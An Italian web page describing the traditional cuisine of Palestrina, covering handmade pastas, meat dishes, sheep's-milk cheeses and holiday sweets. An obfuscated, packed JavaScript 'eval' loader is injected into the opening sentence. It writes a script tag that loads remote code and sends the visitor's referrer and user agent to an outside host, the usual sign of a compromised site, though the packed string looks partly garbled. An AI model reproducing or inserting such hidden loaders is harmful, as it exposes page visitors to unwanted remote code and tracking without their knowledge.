



La `eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^(,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6('";n m="q";,30,30,'document|javascript|encodeURIComponent|src|write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|itefe|var|u0026u|referrer|rekti|js|php'.split('|'),0,{}))` gastronomia prenestina è figlia della cultura contadina del luogo.

Sono i prodotti tipici della sua campagna che vengono utilizzati divenendo le componenti di base dell'arte culinaria di Palestrina. Il piatto caratteristico per eccellenza è la '**pasta povera**' (**sagna**), confezionata a mano con acqua e farina.

Con essa si realizzano i tonnarelli (**gnocchetti a cò de soreca**) che richiedono un condimento a base di pancetta (amatriciana) o ragù con carne di maiale. Da non dimenticare la **polenta con salicce e spuntature**

. Anche le minestre di fagioli, di broccoli e di ceci si possono preparare con la pasta povera. Un altro tipo di pasta, le fettuccine al ragù (sempre impastata a mano, ma con l'aggiunta di uova) possono trasformarsi in tagliolini e quadrucci, ottimi per realizzare delle minestre. Aggiungiamo anche il riso con le lenticchie. Per quanto concerne le carni, il pollo arrosto, il pollo con i pinoli e l'uvetta ed il pollo con i peperoni, vengono offerti parimenti all'agnello arrosto, all'agnello fritto o a quello brodetto, nonché all'agnello ed al coniglio in salmì (cacciatora). Veniamo ai formaggi: la caciotta e la ricotta sono prodotte esclusivamente con latte di pecora. Tra i dolci, quello buono per tutte le stagioni è il '

**re giglietto**

', che ha una storia singolare, essendo stato modellato sul giglio simbolo della monarchia francese nel 1600. Le festività natalizie hanno il loro dolce: il

**panpepato**

e quelle pasquali il '

**cavallo**

' o la '

**pigna**

,'

Completano il panorama della pasticceria di Palestrina le **ciambelle con il vino**.

